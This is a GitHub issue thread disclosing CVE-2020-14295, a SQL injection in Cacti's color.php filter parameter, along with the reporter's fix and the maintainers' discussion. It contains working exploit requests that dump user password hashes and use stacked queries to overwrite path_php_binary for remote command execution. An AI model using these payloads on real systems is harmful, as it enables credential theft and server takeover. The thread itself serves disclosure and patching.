Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SQL Injection vulnerability due to input validation failure when editing colors (CVE-2020-14295) #3622

Closed
Mayfly277 opened this issue Jun 17, 2020 · 13 comments
Labels
bug Undesired behaviour resolved A fixed issue SECURITY A security issue reported through CVE

Comments

@Mayfly277
Copy link

sqli as admin v1.2.12

There is an sql injection on the latest version (in the /cacti/color.php page on the parameter filter.

To Reproduce

Steps to reproduce the behavior:

call /cacti/color.php?action=export&header=false&filter=')<SQLI HERE>--+-

image

Expected behavior

change the following lines :

cacti/color.php

Line 754 in f27e609

$sql_where = "WHERE (name LIKE '%" . get_request_var('filter') . "%'

	/* form the 'where' clause for our main sql query */
	if (get_request_var('filter') != '') {
		$sql_where = "WHERE (name LIKE '%" . get_request_var('filter') . "%'
			OR hex LIKE '%" .  get_request_var('filter') . "%')";
	} else {
		$sql_where = '';
}

You should do db_qstr('%' . get_request_var('filter') . '%') instead of '%" . get_request_var('filter') . "%.

Additional context

  • As the application accept stacked queries, this can easy lead to remote code execution by replacing the path_php_binary setting inside the database.
GET /cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='touch+/tmp/sqli_from_rce;'+where+name='path_php_binary';--+- 
  • Then call host.php?action=reindex and get the shell_exec called with the path_php_binary.
    image
@Mayfly277 Mayfly277 added bug Undesired behaviour unverified Some days we don't have a clue labels Jun 17, 2020
@Mayfly277
Copy link
Author

cve-id: CVE-2020-14295

@netniV
Copy link
Member

netniV commented Jun 17, 2020

Not sure if that was already covered in our current CVE tracker. Have you tested against the very latest 1.2.x branch ?

@Mayfly277
Copy link
Author

I tried with that image which use the latest release : quantumobject/docker-cacti
And the request :

/cacti/color.php?action=export&header=false&filter=')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;-- -`

Is getting back the users and hash.

The code on this function haven't change in 3 years:

image

But the filter change 11 months ago and that change bring the issue.

  • The actual code (1.12.x branch):

image

image

@TheWitness TheWitness added SECURITY A security issue reported through CVE and removed unverified Some days we don't have a clue labels Jun 18, 2020
@TheWitness
Copy link
Member

This was resolved some time ago in the 1.2.x branch.

@TheWitness TheWitness added duplicate Duplicate of another issue resolved A fixed issue labels Jun 18, 2020
@carnil
Copy link

carnil commented Jun 18, 2020

This was resolved some time ago in the 1.2.x branch.

Would you have a commit reference int the 1.2.x branch which is fixing the issue?

@Mayfly277
Copy link
Author

Mayfly277 commented Jun 18, 2020

No this is NOT fixed.
I just tried with a fresh checkout of 1.2.x. and the exploit still work.
Please reopen @TheWitness

Mayfly277 pushed a commit to Mayfly277/cacti that referenced this issue Jun 18, 2020
SQLI in color.php export
Mayfly277 pushed a commit to Mayfly277/cacti that referenced this issue Jun 18, 2020
CHANGELOG add info of CVE ID : CVE-2020-14295
@netniV
Copy link
Member

netniV commented Jun 18, 2020

Thanks for verifying. And supplying a patch. Could you add the CVE number to the changelog ?

@TheWitness
Copy link
Member

You have to be reviewing something other than the 1.2.x branch. Here is a screen capture of the 1.2.x branch. Tell me which part of this does not conform to your reasoning?

image

@TheWitness
Copy link
Member

@Mayfly277, after re-reading, I think you are confused. It's "git clone -b 1.2.x ...". It's not "branch 1.12.x, it's 1.2.x.

@Mayfly277
Copy link
Author

Mayfly277 commented Jun 21, 2020

@TheWitness please retake a Look line 754 ;).
image

@TheWitness
Copy link
Member

I'll be damned. Where did that come from. Re-opening. Thanks for being persistent.

@TheWitness TheWitness reopened this Jun 22, 2020
TheWitness added a commit that referenced this issue Jun 22, 2020
security#3622: SQLI as admin for CVE-2020-14295
@TheWitness TheWitness removed the duplicate Duplicate of another issue label Jun 22, 2020
@TheWitness
Copy link
Member

Resolved now.

@ddb4github
Copy link
Contributor

From Code: color.php always process filter by function sanitize_search_string.
And sanitize_search_string will drop char ', , ; and )`.
Why your env can get SQL result.

In my test, final SQL like SQL below, all invalid char is dropped, and injection SQL around with single quot:

SELECT *, 
        SUM(CASE WHEN local_graph_id>0 THEN 1 ELSE 0 END) AS graphs, 
        SUM(CASE WHEN local_graph_id=0 THEN 1 ELSE 0 END) AS templates 
    FROM (
        SELECT c.*, local_graph_id 
        FROM colors AS c LEFT JOIN (
            SELECT color_id, graph_template_id, local_graph_id FROM graph_templates_item WHERE color_id>0 
        ) AS gti ON c.id=gti.color_id 
    ) AS rs 
    WHERE (name LIKE '%1 UNION SELECT 1 username password 4 5 6 7 from user_auth %' 
            OR hex LIKE '%1 UNION SELECT 1 username password 4 5 6 7 from user_auth %') 
        AND read_only='on' 
    GROUP BY rs.id

@netniV netniV changed the title [security] sqli as admin SQL Injection vulnerability due to input validation failure when editing colors (CVE-2020-14295) Jul 12, 2020
@github-actions github-actions bot locked and limited conversation to collaborators Oct 11, 2020
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
bug Undesired behaviour resolved A fixed issue SECURITY A security issue reported through CVE
Projects
None yet
Development

No branches or pull requests

5 participants